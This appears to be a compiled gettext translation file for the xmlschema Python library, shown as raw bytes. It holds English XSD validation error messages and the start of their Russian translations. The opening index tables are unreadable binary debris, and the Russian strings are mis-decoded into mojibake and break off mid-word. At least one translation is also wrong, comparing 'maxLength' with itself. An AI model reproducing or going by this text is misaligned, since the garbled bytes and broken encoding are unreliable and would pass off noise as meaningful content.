��.���^¡��P���¡��:���̃¡��>���¢��6���X¢��X���¢�����è¢��/���£��q���5£��“���§£��e���;¤��I���¡¤��Z���ë¤��z���F¥��i���Á¥��?���+¦��h���k¦��z���Ô¦��|���O§��~���̀§��<���K¨��:���ˆ¨��Z���è��8���©��@���W©�����˜©��¤���#ª��ƒ���Ȫ��¹���L«��{���¬��Y���‚¬��_���ܬ��;���<­��H���x­��H���Á­��9��� ®��b���D®��+���§®��h���Ó®��f���<¯�����£¯��&���À¯��m���ç¯��%���U°��f���{°��P���â°��Y���3±��S���±��^���á±��1���@²��N���r²��H���Á²��P��� ³��P���[³��6���¬³��,���ă³��R���´��l���c´��G���Đ´��;���µ��O���Tµ��N���¤µ��,���óµ��/��� ¶��F���P¶��W���—¶��Y���ï¶��Y���I·��M���£·��&���ñ·��C���¸��E���\¸��E���¢¸��F���è¸��C���/¹��=���s¹��]���±¹��9���º��K���Iº��L���•º��E���âº��J���(»��N���s»��v���»��'���9¼��w���a¼��]���Ù¼��T���7½��>���Œ½��'���˽��$���ó½��2���¾�����K¾��n���Ú¾��]���I¿��)���§¿��U���Ñ¿��y���'À��q���¡À��j���Á��m���~Á��a���́Á��:���NÂ��V���‰Â��%���àÂ��_���Ă��[���fĂ��<���ÂĂ��*���ÿĂ��.���*Ä��S���YÄ��K���­Ä��:���ùÄ��r���4Å��é���§Å��À���‘Æ��H���RÇ��^���›Ç��L���úÇ��S���GÈ��|���›È��T���É��r���mÉ��]���àÉ��T���>Ê��f���“Ê��µ���úÊ��b���°Ë��>���̀��W���R̀��q���ª̀��Z���Í��p���wÍ��n���èÍ��/���WÎ��3���‡Î��u���»Î��–���1Ï��D���ÈÏ��Ÿ��� Đ��=���­Đ��Q���ëĐ�� ���=Ñ��O���^Ñ��O���®Ñ��C���₫Ñ��:���B̉��P���}̉��;���Î̉��*��� Ó��(���5Ó��M���^Ó��+���¬Ó��"���ØÓ��I���ûÓ��;���EÔ��8���Ô��s���ºÔ��A���.Ơ��Q���pƠ��=���ÂƠ��W����Ö��V���XÖ��J���¯Ö��8���úÖ��J���3×��8���~×��:���·×��B���̣×�����5Ø��C���TØ��M���˜Ø��M���æØ��A���4Ù��F���vÙ��F���½Ù��;���Ú��A���@Ú��+���‚Ú��w���®Ú��e���&Û��4��ŒÛ��Y���ÁÜ��u���Ư��F���‘Ư��_���ØƯ��¤���8̃��5���Ữ��O���ß��=���cß��s���¡ß��Y���à��U���oà��Q���Åà��V���á��?���ná��R���®á��D���â��O���Fâ��E���–â��„���Üâ��e���aă��h���Çă��y���0ä��i���ªä��F���å��5���[å��;���‘å��B���Íå��5���æ��|���Fæ��i���Ăæ��'���-ç��G���Uç��\���ç��R���úç��8���Mè��`���†è��,���çè��*���é��@���?é��T���€é��R���Ơé��8���(ê��|���aê��m���̃ê��:���Lë�����������������ñ���O���b����������2���Ñ�������Q�������¯���Ă���Å�������m��÷�����������’�������ă���—���#������y��¥���F���0������P������ç���!����������������ó������f��‚�����{��#���Î���h����������±�������j���Ơ�������������e��������������_�������)������3��5����R���q������ú���Ó���µ���!�������m��� �����Œ���?��� ��� ��������Ö���6��„���́���V���ơ�������%���o������n��5���u����������~���®�����W���"��c���M��������Đ���8���a��̀���¾�����[�������^���������������������é�������ƒ�����������€������x���J���E����Ä���<���W��G��h��Ê���£�������₫�����Ë�����s��� �������U���™�������������Ù���z���.��������������•���ˆ���;��X��?������)���]��H��·���‡������À���Ú���������� ���¡�������ü�������������� ���e��@������������´�������Ư���=���|�� ���²�����������U��:��̉�����Y��V����E���Ø�����œ���ư����������'�������u����������‘���§���=��������Ÿ���̣���|�����������×���…�������`���1��/���d������Â���¿���c��l����g�����-������¨���p���Ü���T��0��p��Ï���������������†���@�������}������������¸���G���������������Æ������¤���û�������Y���¢��� ����v������2��/������S�������}���&���Ç�������'������������7����������-������������������¬���à�����������è���đ���w��{���T���+���â���M���7�������<������ê���ª���k��X���x������Z��K��C���g�����������P���L������;���$���D���í������f�������r�� ��B���o���4���1���J������î���°�������9��������$��Q��N��������� �����������6���,�������n������Z���O��ï���4��]���������������������������t��“���˜������Á���‹���%����������������Ô���I��8��ß���>��È�������”���q���(��ä���­���N��º�������������"�������A��\���������`��¶���������������C������i��������������›������9������,������A���³���a������[��:���‰�������S������v�������\���t�������R��¼���å�������*���©������I���á������–���(���D��&�����Í�������s������¦���>���ÿ���»���z������d���r���K���*������F��ô���_����k�������€���^�������j��B��������������.���i������y���L��� ���É���3���w����������H���b������½�����������~��ö���«��� ��æ���ë��� ��̃���l���¹���Û���ù���ø������+��� Tag %r expected.� Tag %s expected.� Tag (%s) expected.�%r attribute not allowed for element�%r field doesn't have a simple type!�%r field selects multiple values!�%r is abstract�%r is not an attribute of the XSI namespace�%r: a list must be based on atomic data types�'all' model can appears only at 1st level of a model group�'all' model can contain only elements�'base' attribute required�'converter' argument must be a {0!r} subclass or instance: {1!r}�'default' and 'fixed' attributes are mutually exclusive�'default' value {!r} is not compatible with element's type�'final' value of the baseType %r forbids derivation by restriction�'final' value of the itemType %r forbids derivation by list�'final' value of the memberTypes %r forbids derivation by union�'fixed' value {!r} is not compatible with element's type�'global_maps' argument must be an %r instance�'length' value must be non a negative integer�'maxLength' has a greater value than parent�'maxLength' has a lesser value than parent 'minLength'�'maxLength' value is less than 'minLength'�'maxLength' value must be a non negative integer�'maxLength' value must be greater or equal to 'length'�'minExclusive' must be less or equal to 'maxExclusive'�'minExclusive' must be lesser than 'maxInclusive'�'minInclusive' must be less or equal to 'maxInclusive'�'minInclusive' must be lesser than 'maxExclusive'�'minLength' has a greater value than parent 'maxLength'�'minLength' has a lesser value than parent�'minLength' value must be a non negative integer�'minLength' value must be less than or equal to 'length'�'mixed' attribute not allowed with simpleContent�'model' argument must be (sequence | choice | all)�'name' attribute in a local simpleType definition�'namespace' and 'notNamespace' attributes are mutually exclusive�'xpath' attribute required�(attribute | attributeGroup) expected, found {!r}.�(restriction | list | union) expected�Attribute type is not a restriction of the base attribute type�Attribute wildcard is not a restriction of the base wildcard�Attribute {!r}: 'inheritable' property change in restriction�Attribute {!r}: derived attribute has a different fixed value�Attribute {!r}: redefinition remove fixed constraint�Attribute {!r}: unmatched attribute use in redefinition�Attribute {!r}: unmatched attribute use in restriction�Circular attribute groups not allowed in XSD 1.0�Circular definition detected for group %r�Circular reference found between attribute groups {0!r} and {1!r}�Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types�IDREF %r not found in XML document�Maybe a not equivalent type table between elements {0!r} and {1!r}�Maybe a not equivalent type table between elements {0!r} and {1!r}.�Missing meta-schema source URL�Missing required attribute {!r} in redefinition restriction�Override schema failed: %s�Redefine schema failed: %s�Redefined group reference cannot have minOccurs/maxOccurs other than 1�Redefinition restriction contains additional attribute {!r}�The argument 'base_schemas' must be a dictionary or a sequence of couples�Unexpected attribute {!r} in restriction�Unexpected child with tag %r at position %d.�Unique Particle Attribution violation between {0!r} and {1!r}�Wrong attribute order in redefinition restriction�XML data depth exceeded (MAX_XML_DEPTH=%r)�XSD 1.0 does not allow extension of a not empty 'all' model group�XSD attribute's type must be a simpleType�XSD_VERSION must be '1.0' or '1.1'�a complexType ancestor required: {!r}�a declaration contained in a global complexType must have the same namespace as its parent schema�a defaultOpenContent declaration cannot be empty�a global %s must have the same namespace as its parent schema�a not empty simpleContent cannot restrict an empty content type�a notation declaration must be global�a notation must have a 'name' attribute�a notation must have a 'public' or a 'system' attribute�a reference component cannot have child definitions/declarations�a simple content element can't have child elements�a {0!r} or {1!r} object required�a {0!r} required, not {1!r}�ambiguous list type declaration�ambiguous type definition for XSD attribute�an <xs:any> child declaration is required�an attribute name must be different from 'xmlns'�an empty 'choice' group with minOccurs > 0 cannot validate any content�an empty content derivation from base type that has not empty content�an openContent with mode='none' cannot have an <xs:any> child declaration�an xs:simpleType definition expected�an xs:{0} group cannot include a reference to an xs:{1} group�another declaration after anyAttribute�attribute %r must be inheritable�attribute %r not allowed�attribute %r not found�attribute 'fixed' with use=prohibited is not allowed in XSD 1.1�attribute 'form' must be absent when 'targetNamespace' attribute is provided�attribute 'maxOccurs' not allowed in a global group�attribute 'minOccurs' not allowed in a global group�attribute 'name' must be present when 'targetNamespace' attribute is provided�attribute 'name' not allowed for a local simpleType�attribute 'name' not allowed in a local complexType�attribute 'name' not allowed in a local group�attribute 'ref' not allowed in a global %r�attribute 'ref' points to a different kind constraint�attribute {!r} is not allowed in a global element declaration�attribute {!r} is not allowed when attribute reference is used�attribute {!r} is not allowed when element reference is used�attribute {!r} not allowed in a local element declaration�attribute {0!r} has a fixed value {1!r}�attribute {0}={1!r}: {2}�attributeGroup ref={!r} is not in the redefined group�attributes 'name' and 'ref' are mutually exclusive�base %r is simple or has a simple content�base facet has a different length ({})�base facet has a greater min length ({})�base has a different content type (mixed=%r) and the extension group is not empty�base has a different content type (mixed=%r) and the extension group is not empty.�base type %r has no simple content�base type has a lesser max length ({})�base_type={!r} is not a complexType definition�boolean value {0!r} requires a {1!r} decoder�can't verify the content model of {!r} due to exceeding of maximum recursion depth�cannot add attributes in %r namespace�cannot change the global maps instance of a meta-schema�cannot decode %(obj)r data with %(decoder)r�cannot extend a complex content with xs:all�cannot extend a not empty 'all' model group with a different model�cannot extend an empty mixed content with an xs:all�cannot extend an xs:all group with mixed empty content�cannot import chameleon schema: %s�cannot import namespace {0!r}: {1}�cannot include schema {0!r}: {1}�cannot redefine schema {0!r}: {1}�cannot specify both 'length' and 'maxLength'�cannot specify both 'length' and 'minLength'�cannot specify both 'maxInclusive' and 'maxExclusive'�cannot specify both 'minInclusive' and 'minExclusive'�cannot use an abstract element for validation�cannot use xs:anyAtomicType as base type of a user-defined type�cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet�character data between child elements not allowed�character data is not allowed because content is empty�circular definition found between {0!r} and {1!r}�circular definition found for type {!r}�circular definition found on xs:union type {!r}�circular redefinition for {0} {1!r}�circularity found for substitution group with head element {}�circularity found for substitutionGroup %r�content type is not a restriction of base content�declared type is not derived from {!r}�default attribute {!r} is already declared in the complex type�default value {!r} is not compatible with attribute's type�defaultAttributes={0!r} doesn't match any attribute group of {1!r}�defaultOpenContent must be a child of the schema�derivation by %r blocked by attribute 'final' in base type�derived a mixed content from a base type that has element-only content�duplicated attributeGroup {!r}�duplicated identity constraint %r:�duplicated simpleType declaration�duplicated value {0!r} for {1!r}�duplicated xs:ID value {!r}�dynamic loaded schema change the assessment�element is not nillable�element {!r} is not allowed here�encoding needs at least one XSD element declaration�extended type has a mixed content but the base is element-only�facet group must have the same base type: %r�facet value can be only 'collapse'�facet value can be only 'replace' or 'collapse'�facets not allowed for a direct content derivation of xs:anySimpleType�facets not allowed for a direct derivation of xs:anySimpleType�field cardinality mismatch between {0!r} and {1!r}�fixed value {!r} is not compatible with attribute's type�fractionDigits facet can be applied only to types derived from xs:decimal�fractionDigits facet value cannot be lesser than the value of totalDigits facet�fractionDigits facet value must be 0 for types derived from xs:integer�global element not built!�global group not built!�global map has unbuilt components: %r�global type {!r} is not built�global {0} with name={1!r} is already defined�head element %r can't be substituted by an element that has a derivation of its type�head element %r can't be substituted by an element that has a restriction of its type�head element %r can't be substituted by an element that has an extension of its type�if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'�imported schema {0!r} has an unmatched namespace {1!r}�in XSD 1.0 an 'all' model group cannot be nested�in a redefinition the reference to itself must be the first�invalid XPath expression for an {}�invalid attribute vc:maxVersion value�invalid attribute vc:minVersion value�invalid restriction from {!r}�invalid restriction: base value is lower ({})�invalid restriction: {}�invalid restriction: {} is also the maximum�invalid restriction: {} is also the minimum�invalid type {!r} provided�invalid value {!r}�key/unique identity constraint %r is missing�length has to be {!r}�local scope elements cannot have abstract attribute�maxOccurs must be 'unbounded' or greater than minOccurs�maxOccurs must be (0 | 1) for 'all' model groups�maxOccurs must be 1 for 'all' model groups�maxOccurs value must be a non negative integer or 'unbounded'�meta-schema unavailable for %r�minOccurs must be (0 | 1) for 'all' model groups�minOccurs must be lesser or equal than maxOccurs�minOccurs value is not an integer value�minOccurs value must be a non negative integer�missing 'selector' declaration�missing 'type' attribute�missing XSD namespace in meta-schema�missing XSD namespace in meta-schema instance {!r}�missing attribute 'name' in a global %r�missing attribute 'name' in a global complexType�missing attribute 'name' in a global simpleType�missing attribute 'ref' in local group�missing attribute 'test'�missing base type %r�missing base type in restriction�missing both attributes 'name' and 'ref' in local %r�missing default meta-schema instance {!r}�missing dynamic loaded schema from %s�missing enumeration facet in xs:NOTATION subtype�missing group %r�missing key field {0!r} for {1!r}�missing list type declaration�missing required attribute 'name'�missing required attribute 'refer'�missing required attribute {!r}�missing xs:union type declarations�more anyAttribute declarations in the same attribute group�multiple %r constraint facet�multiple ID attributes not allowed for XSD 1.0�multiple declaration for attribute {!r}�multiple declaration of attribute {!r}�multiple redefinition for {0} {1!r}�must have the fixed value %r�names in notQName must be in namespaces that are allowed�no XSD source provided!�no more than one attribute of type ID should be present in an element�no type suitable for decoding the values %r�no type suitable for encoding the object�no value is allowed for xs:error type�not a base64 encoding�not a redefinition!�not an hexadecimal number�not expressible wildcard namespace union: {0!r} V {1!r}:�one or more facets are not applicable, admitted set is {!r}�openContent mismatch between type and model group�parent circularity from {}�prefix {!r} not found in namespace map�redefined schema {!r} has a different targetNamespace�reference to a non key/unique identity constraint %r�referenced attribute has a different fixed value {!r}�restriction has an open content but base type has not�restriction of an xs:{0} with more than one particle with xs:{1} is forbidden�restriction or extension tag expected�restriction with 'base' attribute and simpleType declaration�schema %r is not built�schemaLocation declaration after namespace start�selector xpath expression can only select elements�simpleType restriction of %r is not allowed�substitution of %r is blocked�target directory {} is not empty�target parent directory {} does not exist�target parent {} is not a directory�target {} is not a directory�test attribute missing in non-final alternative�the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute.�the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not an xs:import statement in the schema.�the attribute 'mode' of a defaultOpenContent cannot be 'none'�the attribute 'namespace' must be different from schema's 'targetNamespace'�the attribute 'ref' is required in a local attributeGroup�the attribute 'targetNamespace' cannot be an empty string�the attribute 'type' and a xs:{} local declaration are mutually exclusive�the attribute 'type' and the xs:%s local declaration are mutually exclusive�the attribute 'use' must be 'optional' if the attribute 'default' is present�the base type is not derivable by extension�the base type is not derivable by restriction�the derived group is an illegal restriction�the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r�the namespace of each QName in notQName is allowed by notNamespace�the namespace {!r} is not loaded�the number of digits has to be lesser or equal than {!r}�the number of fraction digits has to be lesser or equal than {!r}�the path %r doesn't match any element of the schema!�the redefined group is an illegal restriction�the simple content of {!r} is not a valid simple type in XSD 1.1�time zone prohibited for value {!r}�time zone required for value {!r}�too many XSD components, unexpected {0!r} found at position {1}�totalDigits facet value cannot be greater than the value of the same facet in the base type�type {0!r} is not derived from {1!r}�unable to select an element for decoding data, provide a valid 'path' argument.�unavailable namespace {!r}�unexpected instance {!r} in global map�unexpected tag %r�unexpected tag %r after complexContent declaration�unexpected tag %r after simpleContent declaration:�unexpected tag %r for complexType content�unexpected tag %r in restriction�unexpected tag after attribute declarations�unknown attribute group {!r}�unknown attribute {!r}�unknown element %r�unknown identity constraint {!r}�unknown substitutionGroup %r�unknown type {!r}�unmapped QName in 'notQName' attribute: %s�unmapped prefix %r in a QName�usage of %r is blocked�usage of {0!r} with type {1} is blocked by head element�use of attribute %r is prohibited�validation mode can be 'strict', 'lax' or 'skip': %r�value contains non collapsed white spaces�value contains tabs or newlines�value doesn't match any pattern of {!r}�value has to be greater or equal than {!r}�value has to be greater than {!r}�value has to be less than or equal than {!r}�value has to be lesser than {!r}�value is not a valid xs:decimal�value is not an instance of {!r}�value is not an xs:QName�value is not true with test path {!r}�value length cannot be greater than {!r}�value length cannot be lesser than {!r}�value must be negative�value must be non negative�value must be non positive�value must be one of {!r}�value must be positive�value must be {:s}�value of 'mixed' attribute in complexType and complexContent must be the same�value {!r} must match a notation declaration�when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required�when extend an xs:all group minOccurs must be the same�with simpleContent cannot restrict an element-only content type�wrong QName format in 'notQName' attribute: %s�wrong base type %r, an atomic type required�wrong base type %r: a simpleType or a complexType with simple or mixed content required�wrong content type {!r}�wrong definition with self-reference�wrong element {0!r} for map {1!r}�wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}�wrong redefinition without self-reference�wrong tag {!r} for an XSD global definition/declaration�wrong value %r for 'mode' attribute�wrong value %r for 'processContents' attribute�wrong value %r for attribute %r�wrong value %r for attribute 'white_space'�wrong value %r in 'namespace' attribute�wrong value %r in 'notNamespace' attribute�wrong value for 'notQName' attribute�wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1}).�xs:ID key attributes cannot have a default value�xs:ID key attributes cannot have a fixed value�xs:ID or a type derived from xs:ID cannot have a default value�xs:ID or a type derived from xs:ID cannot have a fixed value�xs:all cannot extend a not empty xs:%s�xs:sequence cannot extend xs:all�xsi:nil attribute must have a boolean value�xsi:nil='true' but the element has a fixed value�xsi:nil='true' but the element is not empty�{!r} does not match any declared element of the model group�{!r} is expected to have a redefined/overridden component�{!r} is not a boolean value�{!r} is not a particle of the model group�{!r} is not a valid loglevel�{!r} is not a valid value for xs:QName�{!r} is not an element of the schema�{0!r} and {1!r} overlap and are in the same {2!r} group�{0!r} cannot substitute {1!r}�{0!r} derivation not allowed for {1!r}�{0!r} facet value is fixed to {1!r}�{0!r} is not a restriction of the base type {1!r}�{0!r} is not an extension of the base type {1!r}�{0!r} is not an instance of {1!r}�{0!r} that matches {1!r} is not consistent with local declaration {2!r}�{0!r} type is not of the same or a derivation of the head element {1!r} type�{0} has an unknown prefix {1!r}�Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2022-06-11 10:17+0300 Last-Translator: Sergey Zelenov <serwizz@gmail.com> Language-Team: Language: ru MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2); X-Generator: Poedit 3.0.1 X-Poedit-Bookmarks: -1,133,-1,-1,-1,-1,-1,-1,-1,-1 � ĐĐ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ (%r)� ĐĐ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ %s.� ĐĐ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ Ñ‚ĐµĐ³ (%s)�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ´Đ»Ñ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°�Đ¿Đ¾Đ»Đµ %r Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°!�Đ¿Đ¾Đ»Đµ %r Đ²Ñ‹Đ±Đ¸Ñ€Đ°ĐµÑ‚ Đ½ĐµÑĐºĐ¾Đ»ÑŒĐºĐ¾ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đ¹!�%r ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ°Đ±ÑÑ‚Ñ€Đ°ĐºÑ‚Đ½Ñ‹Đ¼�%r Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ¼ Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ° Đ¸Đ¼ĐµĐ½ XSI�%r: ÑĐ¿Đ¸ÑĐ¾Đº Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¾ÑĐ½Đ¾Đ²Đ°Đ½ Đ½Đ° Đ°Ñ‚Đ¾Đ¼Đ°Ñ€Đ½Ñ‹Ñ… Ñ‚Đ¸Đ¿Đ°Ñ… Đ´Đ°Đ½Đ½Ñ‹Ñ…�ĐœĐ¾Đ´ĐµĐ»ÑŒ 'all' Đ¼Đ¾Đ¶ĐµÑ‚ Đ¾Ñ‚Đ¾Đ±Ñ€Đ°Đ¶Đ°Ñ‚ÑŒÑÑ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Đ½Đ° 1-Đ¼ ÑƒÑ€Đ¾Đ²Đ½Đµ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ Đ¼Đ¾Đ´ĐµĐ»ĐµĐ¹�Đ¼Đ¾Đ´ĐµĐ»ÑŒ 'all' Đ¼Đ¾Đ¶ĐµÑ‚ ÑĐ¾Đ´ĐµÑ€Đ¶Đ°Ñ‚ÑŒ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'base' Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ĐµĐ½�Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'converter' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ´ĐºĐ»Đ°ÑÑĐ¾Đ¼ {0!r} или ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼: {1!r}�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ 'default' и 'fixed' ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'default' {!r} Đ½Đµ ÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°�'final' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ baseType %r Đ·Đ°Đ¿Ñ€ĐµÑ‰Đ°ĐµÑ‚ Đ²Ñ‹Đ²Đ¾Đ´ Đ¿Đ¾ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Ñ�'final' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ itemType %r Đ·Đ°Đ¿Ñ€ĐµÑ‰Đ°ĐµÑ‚ Đ²Ñ‹Đ²Đ¾Đ´ Đ¿Đ¾ ÑĐ¿Đ¸ÑĐºÑƒ�'final' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ memberTypes %r Đ·Đ°Đ¿Ñ€ĐµÑ‰Đ°ĐµÑ‚ Đ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½Đ¸Đµ Đ¾Đ±ÑĐµĐ´Đ¸Đ½ĐµĐ½Đ¸ĐµĐ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'fixed' {!r} Đ½Đµ ÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°�Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'global_maps' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ ÑĐºĐ·ĐµĐ¼Đ¿Đ»ÑÑ€Đ¾Đ¼ %r�Đ—Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'length' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ Ñ†ĐµĐ»Ñ‹Đ¼ Ñ‡Đ¸ÑĐ»Đ¾Đ¼�'maxLength' Đ¸Đ¼ĐµĐµÑ‚ Đ±Đ¾Đ»ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ у Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»Ñ�'maxLength' Đ¸Đ¼ĐµĐµÑ‚ Đ¼ĐµĐ½ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ¸Đ¹ 'minLength'�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'maxLength' Đ¼ĐµĐ½ÑŒÑˆĐµ Ñ‡ĐµĐ¼ 'maxLength'�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'maxLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ½Đµ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ Ñ†ĐµĐ»Ñ‹Đ¼ Ñ‡Đ¸ÑĐ»Đ¾Đ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'maxLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ±Đ¾Đ»ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ 'length'�'minExclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²ĐµĐ½ 'maxExclusive'�'minExclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ, Ñ‡ĐµĐ¼ 'maxInclusive'�'minInclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²ĐµĐ½ 'maxInclusive'�'minInclusive' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ, Ñ‡ĐµĐ¼ 'maxExclusive'�'minLength' Đ¸Đ¼ĐµĐµÑ‚ Đ±Đ¾Đ»ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»ÑŒÑĐºĐ¸Đ¹ 'maxLength'�'minLength' Đ¸Đ¼ĐµĐµÑ‚ Đ¼ĐµĐ½ÑŒÑˆĐµĐµ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ, Ñ‡ĐµĐ¼ у Ñ€Đ¾Đ´Đ¸Ñ‚ĐµĐ»Ñ�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'minLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ Ñ†ĐµĐ»Ñ‹Đ¼ Ñ‡Đ¸ÑĐ»Đ¾Đ¼�Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'minLength' Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ 'length'�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'mixed' Đ½Đµ Ñ€Đ°Đ·Ñ€ĐµÑˆĐµĐ½ Đ² simpleContent�Đ°Ñ€Đ³ÑƒĐ¼ĐµĐ½Ñ‚ 'model' Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ (sequence | choice | all)�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name' Đ² Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ¼ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ simpleType�Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ 'namespace' и 'notNamespace' ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸�Đ¾Đ±ÑĐ·Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¹ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'xpath'�(Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ | Đ³Ñ€ÑƒĐ¿Đ¿Đ° Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Đ¾Đ²) Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ, Đ½Đ°Đ¹Đ´ĐµĐ½Đ¾ {!r}.�Đ¾Đ¶Đ¸Đ´Đ°ĐµÑ‚ÑÑ (restriction | list | union)�Đ¢Đ¸Đ¿ 